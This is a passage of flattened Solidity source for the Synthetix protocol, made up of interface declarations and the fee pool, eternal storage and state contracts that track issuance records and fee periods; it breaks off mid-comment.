function floorsub(uint a, uint b) internal pure returns (uint) {
return b >= a ? 0 : a - b;
}
/* ---------- Utilities ---------- */
/*
* Absolute value of the input, returned as a signed number.
*/
function signedAbs(int x) internal pure returns (int) {
return x < 0 ? -x : x;
}
/*
* Absolute value of the input, returned as an unsigned number.
*/
function abs(int x) internal pure returns (uint) {
return uint(signedAbs(x));
}
}
// https://docs.synthetix.io/contracts/source/interfaces/ierc20
interface IERC20 {
// ERC20 Optional Views
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
// Views
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
// Mutative functions
function transfer(address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function transferFrom(
address from,
address to,
uint value
) external returns (bool);
// Events
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
// https://docs.synthetix.io/contracts/source/interfaces/isystemstatus
interface ISystemStatus {
struct Status {
bool canSuspend;
bool canResume;
}
struct Suspension {
bool suspended;
// reason is an integer code,
// 0 => no reason, 1 => upgrading, 2+ => defined by system usage
uint248 reason;
}
// Views
function accessControl(bytes32 section, address account) external view returns (bool canSuspend, bool canResume);
function requireSystemActive() external view;
function requireIssuanceActive() external view;
function requireExchangeActive() external view;
function requireExchangeBetweenSynthsAllowed(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view;
function requireSynthActive(bytes32 currencyKey) external view;
function requireSynthsActive(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view;
function systemSuspension() external view returns (bool suspended, uint248 reason);
function issuanceSuspension() external view returns (bool suspended, uint248 reason);
function exchangeSuspension() external view returns (bool suspended, uint248 reason);
function synthExchangeSuspension(bytes32 currencyKey) external view returns (bool suspended, uint248 reason);
function synthSuspension(bytes32 currencyKey) external view returns (bool suspended, uint248 reason);
function getSynthExchangeSuspensions(bytes32[] calldata synths)
external
view
returns (bool[] memory exchangeSuspensions, uint256[] memory reasons);
function getSynthSuspensions(bytes32[] calldata synths)
external
view
returns (bool[] memory suspensions, uint256[] memory reasons);
// Restricted functions
function suspendSynth(bytes32 currencyKey, uint256 reason) external;
function updateAccessControl(
bytes32 section,
address account,
bool canSuspend,
bool canResume
) external;
}
interface IVirtualSynth {
// Views
function balanceOfUnderlying(address account) external view returns (uint);
function rate() external view returns (uint);
function readyToSettle() external view returns (bool);
function secsLeftInWaitingPeriod() external view returns (uint);
function settled() external view returns (bool);
function synth() external view returns (ISynth);
// Mutative functions
function settle(address account) external;
}
// https://docs.synthetix.io/contracts/source/interfaces/isynthetix
interface ISynthetix {
// Views
function anySynthOrSNXRateIsInvalid() external view returns (bool anyRateInvalid);
function availableCurrencyKeys() external view returns (bytes32[] memory);
function availableSynthCount() external view returns (uint);
function availableSynths(uint index) external view returns (ISynth);
function collateral(address account) external view returns (uint);
function collateralisationRatio(address issuer) external view returns (uint);
function debtBalanceOf(address issuer, bytes32 currencyKey) external view returns (uint);
function isWaitingPeriod(bytes32 currencyKey) external view returns (bool);
function maxIssuableSynths(address issuer) external view returns (uint maxIssuable);
function remainingIssuableSynths(address issuer)
external
view
returns (
uint maxIssuable,
uint alreadyIssued,
uint totalSystemDebt
);
function synths(bytes32 currencyKey) external view returns (ISynth);
function synthsByAddress(address synthAddress) external view returns (bytes32);
function totalIssuedSynths(bytes32 currencyKey) external view returns (uint);
function totalIssuedSynthsExcludeOtherCollateral(bytes32 currencyKey) external view returns (uint);
function transferableSynthetix(address account) external view returns (uint transferable);
// Mutative Functions
function burnSynths(uint amount) external;
function burnSynthsOnBehalf(address burnForAddress, uint amount) external;
function burnSynthsToTarget() external;
function burnSynthsToTargetOnBehalf(address burnForAddress) external;
function exchange(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey
) external returns (uint amountReceived);
function exchangeOnBehalf(
address exchangeForAddress,
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey
) external returns (uint amountReceived);
function exchangeWithTracking(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey,
address rewardAddress,
bytes32 trackingCode
) external returns (uint amountReceived);
function exchangeWithTrackingForInitiator(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey,
address rewardAddress,
bytes32 trackingCode
) external returns (uint amountReceived);
function exchangeOnBehalfWithTracking(
address exchangeForAddress,
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey,
address rewardAddress,
bytes32 trackingCode
) external returns (uint amountReceived);
function exchangeWithVirtual(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey,
bytes32 trackingCode
) external returns (uint amountReceived, IVirtualSynth vSynth);
function exchangeAtomically(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey,
bytes32 trackingCode
) external returns (uint amountReceived);
function issueMaxSynths() external;
function issueMaxSynthsOnBehalf(address issueForAddress) external;
function issueSynths(uint amount) external;
function issueSynthsOnBehalf(address issueForAddress, uint amount) external;
function mint() external returns (bool);
function settle(bytes32 currencyKey)
external
returns (
uint reclaimed,
uint refunded,
uint numEntries
);
// Liquidations
function liquidateDelinquentAccount(address account, uint susdAmount) external returns (bool);
// Restricted Functions
function mintSecondary(address account, uint amount) external;
function mintSecondaryRewards(uint amount) external;
function burnSecondary(address account, uint amount) external;
}
// Inheritance
// Libraries
// Internal references
// https://docs.synthetix.io/contracts/source/contracts/feepoolstate
contract FeePoolState is Owned, LimitedSetup {
using SafeMath for uint;
using SafeDecimalMath for uint;
/* ========== STATE VARIABLES ========== */
uint8 public constant FEE_PERIOD_LENGTH = 6;
address public feePool;
// The IssuanceData activity that's happened in a fee period.
struct IssuanceData {
uint debtPercentage;
uint debtEntryIndex;
}
// The IssuanceData activity that's happened in a fee period.
mapping(address => IssuanceData[FEE_PERIOD_LENGTH]) public accountIssuanceLedger;
constructor(address _owner, IFeePool _feePool) public Owned(_owner) LimitedSetup(6 weeks) {
feePool = address(_feePool);
}
/* ========== SETTERS ========== */
/**
* @notice set the FeePool contract as it is the only authority to be able to call
* appendAccountIssuanceRecord with the onlyFeePool modifer
* @dev Must be set by owner when FeePool logic is upgraded
*/
function setFeePool(IFeePool _feePool) external onlyOwner {
feePool = address(_feePool);
}
/* ========== VIEWS ========== */
/**
* @notice Get an accounts issuanceData for
* @param account users account
* @param index Index in the array to retrieve. Upto FEE_PERIOD_LENGTH
*/
function getAccountsDebtEntry(address account, uint index)
public
view
returns (uint debtPercentage, uint debtEntryIndex)
{
require(index < FEE_PERIOD_LENGTH, "index exceeds the FEE_PERIOD_LENGTH");
debtPercentage = accountIssuanceLedger[account][index].debtPercentage;
debtEntryIndex = accountIssuanceLedger[account][index].debtEntryIndex;
}
/**
* @notice Find the oldest debtEntryIndex for the corresponding closingDebtIndex
* @param account users account
* @param closingDebtIndex the last periods debt index on close
*/
function applicableIssuanceData(address account, uint closingDebtIndex) external view returns (uint, uint) {
IssuanceData[FEE_PERIOD_LENGTH] memory issuanceData = accountIssuanceLedger[account];
// We want to use the user's debtEntryIndex at when the period closed
// Find the oldest debtEntryIndex for the corresponding closingDebtIndex
for (uint i = 0; i < FEE_PERIOD_LENGTH; i++) {
if (closingDebtIndex >= issuanceData[i].debtEntryIndex) {
return (issuanceData[i].debtPercentage, issuanceData[i].debtEntryIndex);
}
}
}
/* ========== MUTATIVE FUNCTIONS ========== */
/**
* @notice Logs an accounts issuance data in the current fee period which is then stored historically
* @param account Message.Senders account address
* @param debtRatio Debt of this account as a percentage of the global debt.
* @param debtEntryIndex The index in the global debt ledger. synthetix.synthetixState().issuanceData(account)
* @param currentPeriodStartDebtIndex The startingDebtIndex of the current fee period
* @dev onlyFeePool to call me on synthetix.issue() & synthetix.burn() calls to store the locked SNX
* per fee period so we know to allocate the correct proportions of fees and rewards per period
accountIssuanceLedger[account][0] has the latest locked amount for the current period. This can be update as many time
accountIssuanceLedger[account][1-2] has the last locked amount for a previous period they minted or burned
*/
function appendAccountIssuanceRecord(
address account,
uint debtRatio,
uint debtEntryIndex,
uint currentPeriodStartDebtIndex
) external onlyFeePool {
// Is the current debtEntryIndex within this fee period
if (accountIssuanceLedger[account][0].debtEntryIndex < currentPeriodStartDebtIndex) {
// If its older then shift the previous IssuanceData entries periods down to make room for the new one.
issuanceDataIndexOrder(account);
}
// Always store the latest IssuanceData entry at [0]
accountIssuanceLedger[account][0].debtPercentage = debtRatio;
accountIssuanceLedger[account][0].debtEntryIndex = debtEntryIndex;
}
/**
* @notice Pushes down the entire array of debt ratios per fee period
*/
function issuanceDataIndexOrder(address account) private {
for (uint i = FEE_PERIOD_LENGTH - 2; i < FEE_PERIOD_LENGTH; i--) {
uint next = i + 1;
accountIssuanceLedger[account][next].debtPercentage = accountIssuanceLedger[account][i].debtPercentage;
accountIssuanceLedger[account][next].debtEntryIndex = accountIssuanceLedger[account][i].debtEntryIndex;
}
}
/**
* @notice Import issuer data from synthetixState.issuerData on FeePeriodClose() block #
* @dev Only callable by the contract owner, and only for 6 weeks after deployment.
* @param accounts Array of issuing addresses
* @param ratios Array of debt ratios
* @param periodToInsert The Fee Period to insert the historical records into
* @param feePeriodCloseIndex An accounts debtEntryIndex is valid when within the fee peroid,
* since the input ratio will be an average of the pervious periods it just needs to be
* > recentFeePeriods[periodToInsert].startingDebtIndex
* < recentFeePeriods[periodToInsert - 1].startingDebtIndex
*/
function importIssuerData(
address[] calldata accounts,
uint[] calldata ratios,
uint periodToInsert,
uint feePeriodCloseIndex
) external onlyOwner onlyDuringSetup {
require(accounts.length == ratios.length, "Length mismatch");
for (uint i = 0; i < accounts.length; i++) {
accountIssuanceLedger[accounts[i]][periodToInsert].debtPercentage = ratios[i];
accountIssuanceLedger[accounts[i]][periodToInsert].debtEntryIndex = feePeriodCloseIndex;
emit IssuanceDebtRatioEntry(accounts[i], ratios[i], feePeriodCloseIndex);
}
}
/* ========== MODIFIERS ========== */
modifier onlyFeePool {
require(msg.sender == address(feePool), "Only the FeePool contract can perform this action");
_;
}
/* ========== Events ========== */
event IssuanceDebtRatioEntry(address indexed account, uint debtRatio, uint feePeriodCloseIndex);
}
// Inheritance
// https://docs.synthetix.io/contracts/source/contracts/state
contract State is Owned {
// the address of the contract that can modify variables
// this can only be changed by the owner of this contract
address public associatedContract;
constructor(address _associatedContract) internal {
// This contract is abstract, and thus cannot be instantiated directly
require(owner != address(0), "Owner must be set");
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
/* ========== SETTERS ========== */
// Change the associated contract to a new address
function setAssociatedContract(address _associatedContract) external onlyOwner {
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
/* ========== MODIFIERS ========== */
modifier onlyAssociatedContract {
require(msg.sender == associatedContract, "Only the associated contract can perform this action");
_;
}
/* ========== EVENTS ========== */
event AssociatedContractUpdated(address associatedContract);
}
// Inheritance
// https://docs.synthetix.io/contracts/source/contracts/eternalstorage
/**
* @notice This contract is based on the code available from this blog
* https://blog.colony.io/writing-upgradeable-contracts-in-solidity-6743f0eecc88/
* Implements support for storing a keccak256 key and value pairs. It is the more flexible
* and extensible option. This ensures data schema changes can be implemented without
* requiring upgrades to the storage contract.
*/
contract EternalStorage is Owned, State {
constructor(address _owner, address _associatedContract) public Owned(_owner) State(_associatedContract) {}
/* ========== DATA TYPES ========== */
mapping(bytes32 => uint) internal UIntStorage;
mapping(bytes32 => string) internal StringStorage;
mapping(bytes32 => address) internal AddressStorage;
mapping(bytes32 => bytes) internal BytesStorage;
mapping(bytes32 => bytes32) internal Bytes32Storage;
mapping(bytes32 => bool) internal BooleanStorage;
mapping(bytes32 => int) internal IntStorage;
// UIntStorage;
function getUIntValue(bytes32 record) external view returns (uint) {
return UIntStorage[record];
}
function setUIntValue(bytes32 record, uint value) external onlyAssociatedContract {
UIntStorage[record] = value;
}
function deleteUIntValue(bytes32 record) external onlyAssociatedContract {
delete UIntStorage[record];
}
// StringStorage
function getStringValue(bytes32 record) external view returns (string memory) {
return StringStorage[record];
}
function setStringValue(bytes32 record, string calldata value) external onlyAssociatedContract {
StringStorage[record] = value;
}
function deleteStringValue(bytes32 record) external onlyAssociatedContract {
delete StringStorage[record];
}
// AddressStorage
function getAddressValue(bytes32 record) external view returns (address) {
return AddressStorage[record];
}
function setAddressValue(bytes32 record, address value) external onlyAssociatedContract {
AddressStorage[record] = value;
}
function deleteAddressValue(bytes32 record) external onlyAssociatedContract {
delete AddressStorage[record];
}
// BytesStorage
function getBytesValue(bytes32 record) external view returns (bytes memory) {
return BytesStorage[record];
}
function setBytesValue(bytes32 record, bytes calldata value) external onlyAssociatedContract {
BytesStorage[record] = value;
}
function deleteBytesValue(bytes32 record) external onlyAssociatedContract {
delete BytesStorage[record];
}
// Bytes32Storage
function getBytes32Value(bytes32 record) external view returns (bytes32) {
return Bytes32Storage[record];
}
function setBytes32Value(bytes32 record, bytes32 value) external onlyAssociatedContract {
Bytes32Storage[record] = value;
}
function deleteBytes32Value(bytes32 record) external onlyAssociatedContract {
delete Bytes32Storage[record];
}
// BooleanStorage
function getBooleanValue(bytes32 record) external view returns (bool) {
return BooleanStorage[record];
}
function setBooleanValue(bytes32 record, bool value) external onlyAssociatedContract {
BooleanStorage[record] = value;
}
function deleteBooleanValue(bytes32 record) external onlyAssociatedContract {
delete BooleanStorage[record];
}
// IntStorage
function getIntValue(bytes32 record) external view returns (int) {
return IntStorage[record];
}
function setIntValue(bytes32 record, int value) external onlyAssociatedContract {
IntStorage[record] = value;
}
function deleteIntValue(bytes32 record) external onlyAssociatedContract {
delete IntStorage[record];
}
}
// Inheritance
// https://docs.synthetix.io/contracts/source/contracts/feepooleternalstorage
contract FeePoolEternalStorage is EternalStorage, LimitedSetup {
bytes32 internal constant LAST_FEE_WITHDRAWAL = "last_fee_withdrawal";
constructor(address _owner, address _feePool) public EternalStorage(_owner, _feePool) LimitedSetup(6 weeks) {}
function importFeeWithdrawalData(address[] calldata accounts, uint[] calldata feePeriodIDs)
external
onlyOwner
onlyDuringSetup
{
require(accounts.length == feePeriodIDs.length, "Length mismatch");
for (uint8 i = 0; i < accounts.length; i++) {
this.setUIntValue(keccak256(abi.encodePacked(LAST_FEE_WITHDRAWAL, accounts[i])), feePeriodIDs[i]);
}
}
}
// https://docs.synthetix.io/contracts/source/interfaces/iexchanger
interface IExchanger {
// Views
function calculateAmountAfterSettlement(
address from,
bytes32 currencyKey,
uint amount,
uint refunded
) external view returns (uint amountAfterSettlement);
function isSynthRateInvalid(bytes32 currencyKey) external view returns (bool);
function maxSecsLeftInWaitingPeriod(address account, bytes32 currencyKey) external view returns (uint);
function settlementOwing(address account, bytes32 currencyKey)
external
view
returns (
uint reclaimAmount,
uint rebateAmount,
uint numEntries
);
function hasWaitingPeriodOrSettlementOwing(address account, bytes32 currencyKey) external view returns (bool);
function feeRateForExchange(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey)
external
view
returns (uint exchangeFeeRate);
function getAmountsForExchange(
uint sourceAmount,
bytes32 sourceCurrencyKey,
bytes32 destinationCurrencyKey
)
external
view
returns (
uint amountReceived,
uint fee,
uint exchangeFeeRate
);
function priceDeviationThresholdFactor() external view returns (uint);
function waitingPeriodSecs() external view returns (uint);
// Mutative functions
function exchange(
address exchangeForAddress,
address from,
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey,
address destinationAddress,
bool virtualSynth,
address rewardAddress,
bytes32 trackingCode
) external returns (uint amountReceived, IVirtualSynth vSynth);
function exchangeAtomically(
address from,
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey,
address destinationAddress,
bytes32 trackingCode
) external returns (uint amountReceived);
function settle(address from, bytes32 currencyKey)
external
returns (
uint reclaimed,
uint refunded,
uint numEntries
);
function resetLastExchangeRate(bytes32[] calldata currencyKeys) external;
function suspendSynthWithInvalidRate(bytes32 currencyKey) external;
}
// https://docs.synthetix.io/contracts/source/interfaces/isynthetixstate
interface ISynthetixState {
// Views
function debtLedger(uint index) external view returns (uint);
function issuanceData(address account) external view returns (uint initialDebtOwnership, uint debtEntryIndex);
function debtLedgerLength() external view returns (uint);
function hasIssued(address account) external view returns (bool);
function lastDebtLedgerEntry() external view returns (uint);
// Mutative functions
function incrementTotalIssuerCount() external;
function decrementTotalIssuerCount() external;
function setCurrentIssuanceData(address account, uint initialDebtOwnership) external;
function appendDebtLedgerValue(uint value) external;
function clearIssuanceData(address account) external;
}
pragma experimental ABIEncoderV2;
library VestingEntries {
struct VestingEntry {
uint64 endTime;
uint256 escrowAmount;
}
struct VestingEntryWithID {
uint64 endTime;
uint256 escrowAmount;
uint256 entryID;
}
}
interface IRewardEscrowV2 {
// Views
function balanceOf(address account) external view returns (uint);
function numVestingEntries(address account) external view returns (uint);
function totalEscrowedAccountBalance(address account) external view returns (uint);
function totalVestedAccountBalance(address account) external view returns (uint);
function getVestingQuantity(address account, uint256[] calldata entryIDs) external view returns (uint);
function getVestingSchedules(
address account,
uint256 index,
uint256 pageSize
) external view returns (VestingEntries.VestingEntryWithID[] memory);
function getAccountVestingEntryIDs(
address account,
uint256 index,
uint256 pageSize
) external view returns (uint256[] memory);
function getVestingEntryClaimable(address account, uint256 entryID) external view returns (uint);
function getVestingEntry(address account, uint256 entryID) external view returns (uint64, uint256);
// Mutative functions
function vest(uint256[] calldata entryIDs) external;
function createEscrowEntry(
address beneficiary,
uint256 deposit,
uint256 duration
) external;
function appendVestingEntry(
address account,
uint256 quantity,
uint256 duration
) external;
function migrateVestingSchedule(address _addressToMigrate) external;
function migrateAccountEscrowBalances(
address[] calldata accounts,
uint256[] calldata escrowBalances,
uint256[] calldata vestedBalances
) external;
// Account Merging
function startMergingWindow() external;
function mergeAccount(address accountToMerge, uint256[] calldata entryIDs) external;
function nominateAccountToMerge(address account) external;
function accountMergingIsOpen() external view returns (bool);
// L2 Migration
function importVestingEntries(
address account,
uint256 escrowedAmount,
VestingEntries.VestingEntry[] calldata vestingEntries
) external;
// Return amount of SNX transfered to SynthetixBridgeToOptimism deposit contract
function burnForMigration(address account, uint256[] calldata entryIDs)
external
returns (uint256 escrowedAccountBalance, VestingEntries.VestingEntry[] memory vestingEntries);
}
// https://docs.synthetix.io/contracts/source/interfaces/idelegateapprovals
interface IDelegateApprovals {
// Views
function canBurnFor(address authoriser, address delegate) external view returns (bool);
function canIssueFor(address authoriser, address delegate) external view returns (bool);
function canClaimFor(address authoriser, address delegate) external view returns (bool);
function canExchangeFor(address authoriser, address delegate) external view returns (bool);
// Mutative
function approveAllDelegatePowers(address delegate) external;
function removeAllDelegatePowers(address delegate) external;
function approveBurnOnBehalf(address delegate) external;
function removeBurnOnBehalf(address delegate) external;
function approveIssueOnBehalf(address delegate) external;
function removeIssueOnBehalf(address delegate) external;
function approveClaimOnBehalf(address delegate) external;
function removeClaimOnBehalf(address delegate) external;
function approveExchangeOnBehalf(address delegate) external;
function removeExchangeOnBehalf(address delegate) external;
}
// https://docs.synthetix.io/contracts/source/interfaces/irewardsdistribution
interface IRewardsDistribution {
// Structs
struct DistributionData {
address destination;
uint amount;
}
// Views
function authority() external view returns (address);
function distributions(uint index) external view returns (address destination, uint amount); // DistributionData
function distributionsLength() external view returns (uint);
// Mutative Functions
function distributeRewards(uint amount) external returns (bool);
}
interface ICollateralManager {
// Manager information
function hasCollateral(address collateral) external view returns (bool);
function isSynthManaged(bytes32 currencyKey) external view returns (bool);
// State information
function long(bytes32 synth) external view returns (uint amount);
function short(bytes32 synth) external view returns (uint amount);
function totalLong() external view returns (uint susdValue, bool anyRateIsInvalid);
function totalShort() external view returns (uint susdValue, bool anyRateIsInvalid);
function getBorrowRate() external view returns (uint borrowRate, bool anyRateIsInvalid);
function getShortRate(bytes32 synth) external view returns (uint shortRate, bool rateIsInvalid);
function getRatesAndTime(uint index)
external
view
returns (
uint entryRate,
uint lastRate,
uint lastUpdated,
uint newIndex
);
function getShortRatesAndTime(bytes32 currency, uint index)
external
view
returns (
uint entryRate,
uint lastRate,
uint lastUpdated,
uint newIndex
);
function exceedsDebtLimit(uint amount, bytes32 currency) external view returns (bool canIssue, bool anyRateIsInvalid);
function areSynthsAndCurrenciesSet(bytes32[] calldata requiredSynthNamesInResolver, bytes32[] calldata synthKeys)
external
view
returns (bool);
function areShortableSynthsSet(bytes32[] calldata requiredSynthNamesInResolver, bytes32[] calldata synthKeys)
external
view
returns (bool);
// Loans
function getNewLoanId() external returns (uint id);
// Manager mutative
function addCollaterals(address[] calldata collaterals) external;
function removeCollaterals(address[] calldata collaterals) external;
function addSynths(bytes32[] calldata synthNamesInResolver, bytes32[] calldata synthKeys) external;
function removeSynths(bytes32[] calldata synths, bytes32[] calldata synthKeys) external;
function addShortableSynths(bytes32[] calldata requiredSynthNamesInResolver, bytes32[] calldata synthKeys) external;
function removeShortableSynths(bytes32[] calldata synths) external;
// State mutative
function incrementLongs(bytes32 synth, uint amount) external;
function decrementLongs(bytes32 synth, uint amount) external;
function incrementShorts(bytes32 synth, uint amount) external;
function decrementShorts(bytes32 synth, uint amount) external;
function accrueInterest(
uint interestIndex,
bytes32 currency,
bool isShort
) external returns (uint difference, uint index);
function updateBorrowRatesCollateral(uint rate) external;
function updateShortRatesCollateral(bytes32 currency, uint rate) external;
}
interface IWETH {
// ERC20 Optional Views
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
// Views
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
// Mutative functions
function transfer(address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function transferFrom(
address from,
address to,
uint value
) external returns (bool);
// WETH-specific functions.
function deposit() external payable;
function withdraw(uint amount) external;
// Events
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
event Deposit(address indexed to, uint amount);
event Withdrawal(address indexed to, uint amount);
}
// https://docs.synthetix.io/contracts/source/interfaces/ietherwrapper
contract IEtherWrapper {
function mint(uint amount) external;
function burn(uint amount) external;
function distributeFees() external;
function capacity() external view returns (uint);
function getReserves() external view returns (uint);
function totalIssuedSynths() external view returns (uint);
function calculateMintFee(uint amount) public view returns (uint);
function calculateBurnFee(uint amount) public view returns (uint);
function maxETH() public view returns (uint256);
function mintFeeRate() public view returns (uint256);
function burnFeeRate() public view returns (uint256);
function weth() public view returns (IWETH);
}
// https://docs.synthetix.io/contracts/source/interfaces/iwrapperfactory
interface IWrapperFactory {
function isWrapper(address possibleWrapper) external view returns (bool);
function createWrapper(
IERC20 token,
bytes32 currencyKey,
bytes32 synthContractName
) external returns (address);
function distributeFees() external;
}
// Inheritance
// Libraries
// Internal references
// https://docs.synthetix.io/contracts/source/contracts/feepool
contract FeePool is Owned, Proxyable, LimitedSetup, MixinSystemSettings, IFeePool {
using SafeMath for uint;
using SafeDecimalMath for uint;
bytes32 public constant CONTRACT_NAME = "FeePool";
// Where fees are pooled in sUSD.
address public constant FEE_ADDRESS = 0xfeEFEEfeefEeFeefEEFEEfEeFeefEEFeeFEEFEeF;
// sUSD currencyKey. Fees stored and paid in sUSD
bytes32 private sUSD = "sUSD";
// This struct represents the issuance activity that's happened in a fee period.
struct FeePeriod {
uint64 feePeriodId;
uint64 startingDebtIndex;
uint64 startTime;
uint feesToDistribute;
uint feesClaimed;
uint rewardsToDistribute;
uint rewardsClaimed;
}
// A staker(mintr) can claim from the previous fee period (7 days) only.
// Fee Periods stored and managed from [0], such that [0] is always
// the current active fee period which is not claimable until the
// public function closeCurrentFeePeriod() is called closing the
// current weeks collected fees. [1] is last weeks feeperiod
uint8 public constant FEE_PERIOD_LENGTH = 2;
FeePeriod[FEE_PERIOD_LENGTH] private _recentFeePeriods;
uint256 private _currentFeePeriod;
/* ========== ADDRESS RESOLVER CONFIGURATION ========== */
bytes32 private constant CONTRACT_SYSTEMSTATUS = "SystemStatus";
bytes32 private constant CONTRACT_SYNTHETIX = "Synthetix";
bytes32 private constant CONTRACT_FEEPOOLSTATE = "FeePoolState";
bytes32 private constant CONTRACT_FEEPOOLETERNALSTORAGE = "FeePoolEternalStorage";
bytes32 private constant CONTRACT_EXCHANGER = "Exchanger";
bytes32 private constant CONTRACT_ISSUER = "Issuer";
bytes32 private constant CONTRACT_SYNTHETIXSTATE = "SynthetixState";
bytes32 private constant CONTRACT_REWARDESCROW_V2 = "RewardEscrowV2";
bytes32 private constant CONTRACT_DELEGATEAPPROVALS = "DelegateApprovals";
bytes32 private constant CONTRACT_COLLATERALMANAGER = "CollateralManager";
bytes32 private constant CONTRACT_REWARDSDISTRIBUTION = "RewardsDistribution";
bytes32 private constant CONTRACT_ETHER_WRAPPER = "EtherWrapper";
bytes32 private constant CONTRACT_WRAPPER_FACTORY = "WrapperFactory";
/* ========== ETERNAL STORAGE CONSTANTS ========== */
bytes32 private constant LAST_FEE_WITHDRAWAL = "last_fee_withdrawal";
constructor(
address payable _proxy,
address _owner,
address _resolver
) public Owned(_owner) Proxyable(_proxy) LimitedSetup(3 weeks) MixinSystemSettings(_resolver) {
// Set our initial fee period
_recentFeePeriodsStorage(0).feePeriodId = 1;
_recentFeePeriodsStorage(0).startTime = uint64(now);
}
/* ========== VIEWS ========== */
function resolverAddressesRequired() public view returns (bytes32[] memory addresses) {
bytes32[] memory existingAddresses = MixinSystemSettings.resolverAddressesRequired();
bytes32[] memory newAddresses = new bytes32[](13);
newAddresses[0] = CONTRACT_SYSTEMSTATUS;
newAddresses[1] = CONTRACT_SYNTHETIX;
newAddresses[2] = CONTRACT_FEEPOOLSTATE;
newAddresses[3] = CONTRACT_FEEPOOLETERNALSTORAGE;
newAddresses[4] = CONTRACT_EXCHANGER;
newAddresses[5] = CONTRACT_ISSUER;
newAddresses[6] = CONTRACT_SYNTHETIXSTATE;
newAddresses[7] = CONTRACT_REWARDESCROW_V2;
newAddresses[8] = CONTRACT_DELEGATEAPPROVALS;
newAddresses[9] = CONTRACT_REWARDSDISTRIBUTION;
newAddresses[10] = CONTRACT_COLLATERALMANAGER;
newAddresses[11] = CONTRACT_WRAPPER_FACTORY;
newAddresses[12] = CONTRACT_ETHER_WRAPPER;
addresses = combineArrays(existingAddresses, newAddresses);
}
function systemStatus() internal view returns (ISystemStatus) {
return ISystemStatus(requireAndGetAddress(CONTRACT_SYSTEMSTATUS));
}
function synthetix() internal view returns (ISynthetix) {
return ISynthetix(requireAndGetAddress(CONTRACT_SYNTHETIX));
}
function feePoolState() internal view returns (FeePoolState) {
return FeePoolState(requireAndGetAddress(CONTRACT_FEEPOOLSTATE));
}
function feePoolEternalStorage() internal view returns (FeePoolEternalStorage) {
return FeePoolEternalStorage(requireAndGetAddress(CONTRACT_FEEPOOLETERNALSTORAGE));
}
function exchanger() internal view returns (IExchanger) {
return IExchanger(requireAndGetAddress(CONTRACT_EXCHANGER));
}
function collateralManager() internal view returns (ICollateralManager) {
return ICollateralManager(requireAndGetAddress(CONTRACT_COLLATERALMANAGER));
}
function issuer() internal view returns (IIssuer) {
return IIssuer(requireAndGetAddress(CONTRACT_ISSUER));
}
function synthetixState() internal view returns (ISynthetixState) {
return ISynthetixState(requireAndGetAddress(CONTRACT_SYNTHETIXSTATE));
}
function rewardEscrowV2() internal view returns (IRewardEscrowV2) {
return IRewardEscrowV2(requireAndGetAddress(CONTRACT_REWARDESCROW_V2));
}
function delegateApprovals() internal view returns (IDelegateApprovals) {
return IDelegateApprovals(requireAndGetAddress(CONTRACT_DELEGATEAPPROVALS));
}
function rewardsDistribution() internal view returns (IRewardsDistribution) {
return IRewardsDistribution(requireAndGetAddress(CONTRACT_REWARDSDISTRIBUTION));
}
function etherWrapper() internal view returns (IEtherWrapper) {
return IEtherWrapper(requireAndGetAddress(CONTRACT_ETHER_WRAPPER));
}
function wrapperFactory() internal view returns (IWrapperFactory) {
return IWrapperFactory(requireAndGetAddress(CONTRACT_WRAPPER_FACTORY));
}
function issuanceRatio() external view returns (uint) {
return getIssuanceRatio();
}
function feePeriodDuration() external view returns (uint) {
return getFeePeriodDuration();
}
function targetThreshold() external view returns (uint) {
return getTargetThreshold();
}
function recentFeePeriods(uint index)
external
view
returns (
uint64 feePeriodId,
uint64 startingDebtIndex,
uint64 startTime,
uint feesToDistribute,
uint feesClaimed,
uint rewardsToDistribute,
uint rewardsClaimed
)
{
FeePeriod memory feePeriod = _recentFeePeriodsStorage(index);
return (
feePeriod.feePeriodId,
feePeriod.startingDebtIndex,
feePeriod.startTime,
feePeriod.feesToDistribute,
feePeriod.feesClaimed,
feePeriod.rewardsToDistribute,
feePeriod.rewardsClaimed
);
}
function _recentFeePeriodsStorage(uint index) internal view returns (FeePeriod storage) {
return _recentFeePeriods[(_currentFeePeriod + index) % FEE_PERIOD_LENGTH];
}
/* ========== MUTATIVE FUNCTIONS ========== */
/**
* @notice Logs an accounts issuance data per fee period
* @param account Message.Senders account address
* @param debtRatio Debt percentage this account has locked after minting or burning their synth
* @param debtEntryIndex The index in the global debt ledger. synthetixState.issuanceData(account)
* @dev onlyIssuer to call me on synthetix.issue() & synthetix.burn() calls to store the locked SNX
* per fee period so we know to allocate the correct proportions of fees and rewards per period
*/
function appendAccountIssuanceRecord(
address account,
uint debtRatio,
uint debtEntryIndex
) external onlyIssuerAndSynthetixState {
feePoolState().appendAccountIssuanceRecord(
account,
debtRatio,
debtEntryIndex,
_recentFeePeriodsStorage(0).startingDebtIndex
);
emitIssuanceDebtRatioEntry(account, debtRatio, debtEntryIndex, _recentFeePeriodsStorage(0).startingDebtIndex);
}
/**
